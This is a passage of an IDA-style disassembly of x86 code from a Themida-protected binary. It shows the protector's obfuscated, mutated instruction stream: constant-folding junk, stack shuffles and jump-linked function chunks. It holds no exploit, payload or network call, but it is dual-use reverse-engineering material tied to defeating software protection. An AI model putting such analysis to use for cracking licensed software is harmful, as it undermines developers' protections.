; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AD201:				; CODE XREF: sub_59D99C:loc_5A9F18j
		push	esi
		jmp	loc_5A96B1
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5AD207:				; CODE XREF: sub_59EE40-2F00j
		pop	esp
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ecx, 4800D8Eh
		xor	ecx, 660257DEh
		shl	ecx, 2
		dec	ecx
		add	ecx, 3426595Bh
		sub	ecx, 60A65010h
		sub	eax, 1BB35211h
		sub	eax, ecx
		jmp	loc_5A47A4
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------


loc_5AD238:				; DATA XREF: Themida_:005978A8o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B76


loc_5AD248:				; CODE XREF: sub_5A9B76-44Ej
		add	esp, 4
		xor	ecx, 103D32F0h
		push	ecx
		mov	edx, [esp-4+arg_0]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5A8BC6
; END OF FUNCTION CHUNK	FOR sub_5A9B76
; ---------------------------------------------------------------------------


loc_5AD262:				; CODE XREF: Themida_:005ABA21j
		xor	esi, ecx
		pop	ecx
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_597E49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AD275:				; CODE XREF: sub_59D99C:loc_59B527j
		push	edi
		push	13FAh
		mov	[esp+0], ebx
		jmp	loc_5A9072
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5AD283:				; CODE XREF: Themida_:0059827Dj
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	edx
		push	ecx
		mov	cl, 95h
		jmp	loc_59FEB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AD299:				; CODE XREF: Themida_:005A1804j
					; sub_5AC95F-3EE4j
		xor	[esp-4+arg_0], ebp
		xor	ebp, [esp-4+arg_0]
		pop	esp
		shr	ecx, 0Ah
		push	ebx
		push	ecx
		sub	esp, 4
		mov	[esp+4+var_4], esp
		jmp	loc_5AC37A
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5AD2B0:				; CODE XREF: sub_59CA4A+B50Cj
		sub	esi, ecx
		mov	ecx, [esp+0]
		jmp	loc_5A9733
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5AD2BA:				; CODE XREF: sub_5AB3DC-4F7Ej
		shl	ecx, 1
		push	ebx
		mov	ebx, 3C0F0725h
		push	edi
		push	eax
		mov	eax, 58350107h
		shr	eax, 4
		sub	eax, 5DBB54BDh
		sub	eax, 5D39EAA5h
		jmp	loc_59DE43
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AD2DB:				; CODE XREF: sub_5AC95F-BA67j
		pop	ebx
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5AAF9F
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AD2E4:				; CODE XREF: sub_59D99C+6F70j
		add	edx, esi
		add	edx, 42284459h
		jmp	loc_5A49A2
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5AD2F1:				; CODE XREF: sub_5AC402+919j
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-6+arg_0+2], ecx
		mov	ch, 42h
		not	ch
		push	3C1Bh
		jmp	loc_59F6A8
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AD315:				; CODE XREF: sub_59D99C-2161j
		push	74EEh
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, 4603237Dh
		add	eax, ebx
		jmp	loc_5AA5C9
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A71A8


loc_5AD329:				; CODE XREF: sub_5A71A8+89Ej
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], ecx
		mov	ecx, 5C8CEBB2h
		sub	edx, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	ebp, edx
		pop	edx
		push	ebx
		push	esi
		mov	esi, 1DB046FCh
		sub	esi, 63007F5Bh
		not	esi
		shr	esi, 5
		not	esi
		inc	esi
		xor	esi, 0FDD57E3Ch
		mov	ebx, esi
		pop	esi
		sub	ebp, ebx
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_59AF6D
; END OF FUNCTION CHUNK	FOR sub_5A71A8
; ---------------------------------------------------------------------------


loc_5AD36D:				; CODE XREF: Themida_:0059A8CFj
		add	ecx, eax
		add	ecx, 55016C66h
		pop	eax
		push	374Ah
		mov	[esp], esi
		push	4EFBh
		mov	[esp], ecx
		jmp	loc_598E45
; ---------------------------------------------------------------------------


loc_5AD38B:				; DATA XREF: Themida_:0059795Co
		mov	cx, [esp]
		push	ebx
		push	esp
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 186F6EC7h
		shl	edx, 1
		push	esi
		mov	esi, 51994FD3h
		add	esi, 4428024Eh
		xor	esi, 0A51F8FABh
		xor	edx, esi
		pop	esi
		jmp	loc_5A64CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AD3BC:				; CODE XREF: sub_59D99C+6C8Ej
		add	edi, ecx
		pop	ecx
		jmp	loc_59D77B
; ---------------------------------------------------------------------------


loc_5AD3C4:				; CODE XREF: sub_59D99C-1739j
		pop	ebp
		jmp	loc_5A21D1
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_5AD3CA:				; CODE XREF: sub_59B0C4+7588j
		and	ecx, 196F53A6h
		push	6185h
		mov	[esp+0Ch+var_C], esi
		jmp	loc_5AEC61
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------


loc_5AD3DD:				; CODE XREF: Themida_:0059A83Fj
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_59C3C9
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5A7199
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7CF9


loc_5AD3EF:				; CODE XREF: sub_5A7CF9+1517j
		xor	[esp+8+var_8], edx
		not	edx
		xchg	edx, [esp+8+var_8]
		pop	ecx
		push	64D9h
		mov	[esp+8+var_8], ebp
		jmp	loc_599EFD
; END OF FUNCTION CHUNK	FOR sub_5A7CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD9CC


loc_5AD405:				; CODE XREF: sub_5AD9CC-EB17j
					; sub_5A8F56+31j
		pop	esp
		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_5A62C1
; END OF FUNCTION CHUNK	FOR sub_5AD9CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A141E


loc_5AD414:				; CODE XREF: sub_5A141E+6288j
		not	esi
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		jmp	loc_5AD9A2
; END OF FUNCTION CHUNK	FOR sub_5A141E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4CE


loc_5AD421:				; CODE XREF: sub_59F4CE+Bj
		add	edx, eax
		pop	eax
		xchg	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59F4CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B333


loc_5AD42F:				; CODE XREF: sub_59B333+CE82j
		mov	[esp+0], eax
		mov	eax, 3F2A0AD7h
		and	eax, 42722A59h
		add	eax, 0FFFFFFFFh
		add	eax, 65761463h
		add	ecx, eax
		pop	eax
		sub	ecx, edx
		push	eax
		mov	eax, 67981EB3h
		jmp	loc_5A224B
; END OF FUNCTION CHUNK	FOR sub_59B333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AD456:				; CODE XREF: sub_5A8D43-6C20j
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A3004
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5AD465:				; CODE XREF: sub_5A3F42-B850j
		sub	eax, esi
		pop	esi
		push	eax
		push	[esp+10h+var_C]
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5AAECC
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A393F


loc_5AD478:				; CODE XREF: sub_5A393F+A660j
		xor	esi, eax
		xor	eax, esi
		push	4407h
		mov	[esp+0], esi
		push	5991h
		jmp	loc_5A54DD
; END OF FUNCTION CHUNK	FOR sub_5A393F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D147


loc_5AD48E:				; CODE XREF: sub_59D147+CA42j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D147
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5AD493:				; CODE XREF: sub_59D7E7-3536j
		jmp	loc_5999E4
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD76F


loc_5AD498:				; CODE XREF: sub_5AD76F-53F0j
		add	esp, 4
		jmp	loc_5A697D
; END OF FUNCTION CHUNK	FOR sub_5AD76F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD8C7


loc_5AD4A3:				; CODE XREF: sub_5AD8C7-1D48j
		mov	edx, 96B67EFh
		sub	edx, 508277B9h
		shr	edx, 4
		and	edx, 41CF26B0h
		add	edx, 776322B0h
		jmp	loc_59B912
; END OF FUNCTION CHUNK	FOR sub_5AD8C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5AD4C2:				; CODE XREF: sub_59EB21-4AE9j
		mov	edx, 122EB909h
		sub	ecx, edx
		pop	edx
		and	eax, ecx
		pop	ecx
		jmp	loc_5A4650
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AD4D2:				; CODE XREF: sub_5A7343-532Cj
		xor	ebp, edx
		pop	edx
		add	ebx, ebp
		pop	ebp
		add	ebp, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_5A19C6
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5AD4E8:				; CODE XREF: sub_598D16+511Dj
		add	eax, esi
		push	edi
		mov	edi, 12C27A19h
		shl	edi, 4
		shr	edi, 6
		xor	edi, 5D9D6FC8h
		neg	edi
		xor	edi, 81051E02h
		sub	eax, edi
		pop	edi
		pop	esi
		add	eax, 4ECF29F1h
		add	eax, ebx
		sub	eax, 4ECF29F1h
		push	esi
		push	edi
		push	6A5D2A50h
		jmp	loc_598E71
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------


loc_5AD520:				; CODE XREF: Themida_:005A218Fj
		push	edi
		mov	edi, 2DB2681Ch
		neg	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		sub	edi, 2DB26817h
		mov	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A7D15
; ---------------------------------------------------------------------------


loc_5AD541:				; CODE XREF: Themida_:005AE6B5j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 64505B65h
		dec	ebx
		dec	ebx
		xor	ebx, 67514D0Eh
		sub	ebx, 3011669h
		add	ecx, ebx
		pop	ebx
		push	edx
		mov	edx, 2
		push	eax
		jmp	loc_5A426B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AD570:				; CODE XREF: sub_5A8C33-5624j
		pop	esp
		mov	[esp-4+arg_0], edx
		jmp	loc_5ACDFA
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D67


loc_5AD579:				; CODE XREF: sub_598D67+DDBEj
		mov	eax, [esp+0]
		sub	esp, 4
		mov	[esp+0], eax
		jmp	loc_598A50
; END OF FUNCTION CHUNK	FOR sub_598D67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1340


loc_5AD587:				; CODE XREF: sub_5A1340-5831j
		push	eax
		mov	ah, 0B7h
		dec	ah
		shl	ah, 1
		dec	ah
		not	ah
		push	ebx
		push	ecx
		mov	ch, 29h
		mov	bh, ch
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		sub	bh, 71h
		not	bh
		add	bh, 86h
		xor	ah, bh
		pop	ebx
		sub	dl, ah
		pop	eax
		not	dl
		push	ecx
		jmp	loc_5AAD93
; END OF FUNCTION CHUNK	FOR sub_5A1340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5AD5B7:				; CODE XREF: sub_59DBFF+DE61j
		add	ecx, 12853F8Eh
		jmp	loc_59A444
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE1A9


loc_5AD5C2:				; CODE XREF: sub_5AE1A9+11j
		xor	edi, 3D2E040Fh
		xor	edi, 6593488Dh
		sub	edi, 6BD4C7Eh
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	eax
		mov	eax, 0
		add	eax, 4789118Fh
		sub	eax, esi
		jmp	loc_5AA690
; END OF FUNCTION CHUNK	FOR sub_5AE1A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A393F


loc_5AD5F0:				; CODE XREF: sub_5A393F+1j
		mov	ebp, 4
		add	edx, 18E82224h
		add	edx, ebp
		sub	edx, 18E82224h
		jmp	loc_5A0424
; END OF FUNCTION CHUNK	FOR sub_5A393F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5AD608:				; CODE XREF: sub_5A91CF-DF17j
		mov	[esp+4+var_4], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A0817
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------


loc_5AD617:				; CODE XREF: Themida_:005AA5EFj
		sub	ebp, 5157172Dh
		add	edi, 4BF34A9Ah
		add	edi, ebp
		jmp	loc_5AE267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599721


loc_5AD62A:				; CODE XREF: sub_599721+13805j
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_5A4197
; END OF FUNCTION CHUNK	FOR sub_599721
; ---------------------------------------------------------------------------


loc_5AD635:				; CODE XREF: Themida_:005A9E9Fj
		pop	eax
		push	ebx
		jmp	loc_5A6182
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AD63C:				; CODE XREF: sub_59D99C-BDFj
		sub	ebx, 26C53BC1h
		shl	ebx, 5
		xor	ebx, 70E85556h
		neg	ebx
		shl	ebx, 7
		sub	ebx, 7BA8A4C9h
		jmp	loc_5A9FEF
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A484D


loc_5AD65B:				; CODE XREF: sub_5A484D+168Bj
		mov	[esp+0], edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_598935
; END OF FUNCTION CHUNK	FOR sub_5A484D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AD677:				; CODE XREF: sub_5A1B2A-5EAAj
		mov	eax, [esp-6+arg_0+2]
		push	edx
		jmp	loc_5AA6D6
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AD680:				; CODE XREF: sub_5A7343+27E9j
		xor	al, 9Dh
		add	al, 0E4h
		push	cx
		mov	ch, 38h
		jmp	loc_59957D
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B0C4


loc_5AD68D:				; CODE XREF: sub_59B0C4+13BABj
		mov	ebx, 3C8776BFh
		dec	ebx
		add	ebx, 347C4C90h
		add	ebx, 220283Eh
		inc	ebx
		sub	ebx, 7323EB89h
		add	eax, ebx
		jmp	loc_59C375
; END OF FUNCTION CHUNK	FOR sub_59B0C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5AD6AD:				; CODE XREF: sub_5A1B2A+CCA2j
		pop	esi
		xchg	edx, [esp-6+arg_0+2]
		jmp	loc_59E661
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AD6B6:				; CODE XREF: sub_5A8C33+3C01j
		add	ecx, 4
		push	17D4h
		mov	[esp-0Ch+arg_8], edx
		mov	edx, 4
		sub	ecx, 3BDB0DF6h
		add	ecx, edx
		add	ecx, 3BDB0DF6h
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		push	ecx
		jmp	loc_5A2F36
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AD6E3:				; CODE XREF: sub_5ACD64-73DFj
		push	2FF7h
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 1CF42D1Fh
		add	ebp, 1
		xor	ebp, 1CF42D24h
		add	esi, 222C57D7h
		add	esi, ebp
		jmp	loc_5A3190
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AD719:				; CODE XREF: sub_59B707-1BACj
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5AB544
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AD727:				; CODE XREF: sub_5AB3DC-E0F4j
					; sub_59D99C+3673j
		pop	ebx
		push	ebp
		mov	ebp, 45E94A74h
		add	ebp, 17253B91h
		not	ebp
		shl	ebp, 6
		neg	ebp
		add	ebp, 4F283D18h
		add	ebp, 0E4512D60h
		jmp	loc_5A5DF0
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC9FF


loc_5AD74C:				; CODE XREF: sub_5AC9FF-11177j
		mov	esp, [esp+4+var_4]
		mov	word ptr [esp+4+var_4],	cx
		movzx	cx, al
		jmp	loc_5A361F
; END OF FUNCTION CHUNK	FOR sub_5AC9FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE3B


loc_5AD75C:				; CODE XREF: sub_5ADE3B+14j
		xor	bl, 7
		mov	ch, bl
		jmp	loc_599D69
; END OF FUNCTION CHUNK	FOR sub_5ADE3B
; ---------------------------------------------------------------------------


loc_5AD766:				; CODE XREF: Themida_:005A3343j
		sub	[esp], ebp
		pop	ebp
		jmp	loc_5A38FF

; =============== S U B	R O U T	I N E =======================================



sub_5AD76F	proc near		; CODE XREF: sub_5AA46D-84A7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_10		= dword	ptr  14h

; FUNCTION CHUNK AT 005A1D04 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A697D SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A8379 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD498 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE838 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_5AE838
sub_5AD76F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AD77A:				; CODE XREF: sub_59CA4A+72AFj
					; sub_59B707:loc_5ADD1Dj
		mov	ebx, 75340026h
		jmp	loc_5A81F4
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5AD784:				; CODE XREF: sub_59CA4A+C012j
		jmp	loc_59CF28
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AD789:				; CODE XREF: sub_5AE6FD-10DB7j
		sub	bl, 0E4h
		sub	bl, 0B5h
		jmp	loc_5AA1EF
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D180


loc_5AD794:				; CODE XREF: sub_59D180+8BB0j
		add	esp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	ecx
		mov	ecx, 4
		add	eax, 2B4049D4h
		sub	eax, 6E83044Dh
		add	eax, ecx
		add	eax, 6E83044Dh
		jmp	loc_5AC006
; END OF FUNCTION CHUNK	FOR sub_59D180
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5AD7B9:				; CODE XREF: sub_59FFBE+1C17j
		add	ebx, edx
		pop	edx
		add	ebx, 2C8C55B9h
		add	ebx, eax
		sub	ebx, 2C8C55B9h
		push	ebp
		mov	ebp, 517E2A0Eh
		push	eax
		mov	eax, 5F941F70h
		jmp	loc_59EDF8
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5AD7DB:				; CODE XREF: sub_59D7E7+3E0Cj
		sub	edi, 4F4E3CBBh
		jmp	loc_5ACE35
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AD7E6:				; CODE XREF: sub_59B707+6734j
		sub	edx, 6450673Ch
		neg	edx
		sub	edx, 7A3AAEh
		xor	edx, 777A2EBEh
		sub	ecx, edx
		pop	edx
		jmp	loc_59BC21
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AD802:				; CODE XREF: sub_5AE6FD-11Dj
		dec	ecx
		jmp	loc_5A8082
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_5AD808:				; CODE XREF: sub_5991B7+1361Bj
		mov	dh, 0BCh
		jmp	loc_597F1D
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A34FD


loc_5AD80F:				; CODE XREF: sub_5A34FD-442Cj
		add	al, ch
		sub	al, 22h
		pop	ecx
		jmp	loc_5A4F8C
; END OF FUNCTION CHUNK	FOR sub_5A34FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5AD819:				; CODE XREF: sub_5AE0B5-3575j
		xor	ebx, edi
		pop	edi
		add	ebp, 1CB34334h
		add	ebp, ebx
		push	edx
		sub	esp, 4
		jmp	loc_5AA2DE
; END OF FUNCTION CHUNK	FOR sub_5AE0B5

; =============== S U B	R O U T	I N E =======================================



sub_5AD830	proc near		; CODE XREF: sub_598936+3436j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059FB2A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A4321 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A8230 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A8BD5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB1D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AC0DF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AD1B9 SIZE 0000001A BYTES

		push	ebx
		mov	ebx, 62C23EEBh
		shr	ebx, 7
		jmp	loc_5AD1B9
sub_5AD830	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AD83E:				; CODE XREF: sub_5A8C33-AAE0j
		not	ebp
		shl	ebp, 3
		add	ebp, 0E5289704h
		mov	edx, ebp
		pop	ebp
		mov	ecx, 4CCD4135h
		xor	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 1583651h
		add	ebx, 1
		jmp	loc_5AB807
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AD862:				; CODE XREF: sub_59B707+EE3Aj
		xor	edi, 4FE27449h
		jmp	$+5
		jbe	sub_59DFDD
		push	38FEh
		mov	[esp+0Ch+var_C], edi
		jmp	loc_5A6FB5
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFBF


loc_5AD880:				; CODE XREF: sub_59CFBF+Fj
		xor	ebp, 0F4B222Eh
		jmp	loc_59DD75
; END OF FUNCTION CHUNK	FOR sub_59CFBF
; ---------------------------------------------------------------------------


loc_5AD88B:				; CODE XREF: Themida_:005A6472j
		push	dword ptr [esp]
		jmp	loc_5A4C8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AD893:				; CODE XREF: sub_5A8C33+3F60j
		sub	edi, 77016842h
		sub	edi, 22930655h
		sub	edx, 0CA95EBCh
		add	edx, edi
		add	edx, 0CA95EBCh
		pop	edi
		xchg	edx, [esp-8+arg_4]
		pop	esp
		push	ebp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_59ABCE
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_5AD8C7	proc near		; CODE XREF: sub_59B707-5FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B3F7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059B912 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A2998 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A3EE8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A7989 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A7A8D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB56D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ABB7A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AD4A3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AE1BF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE21A SIZE 00000013 BYTES

		push	ebx
		mov	ebx, esp
		push	3DA7h
		jmp	loc_5AE1BF
sub_5AD8C7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5AD8D4:				; CODE XREF: sub_59ACEC+E95j
		add	ecx, 1
		jmp	loc_5AC5EA
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DEB0


loc_5AD8DF:				; CODE XREF: sub_59DEB0+11246j
		dec	eax
		sub	esp, 4
		mov	[esp-4+arg_0], esi
		mov	esi, 7A6E008Ah
		and	esi, 4C9201ECh
		xor	esi, 1AB0754Ch
		jmp	loc_59F7F4
; END OF FUNCTION CHUNK	FOR sub_59DEB0
; ---------------------------------------------------------------------------


loc_5AD8FC:				; CODE XREF: Themida_:0059A2C7j
		push	esi
		push	1FECh
		jmp	loc_5A2BA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5AD907:				; CODE XREF: sub_59D7E7-1242j
		pop	ebx
		add	esi, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		pop	esp
		push	ecx
		mov	ecx, esp
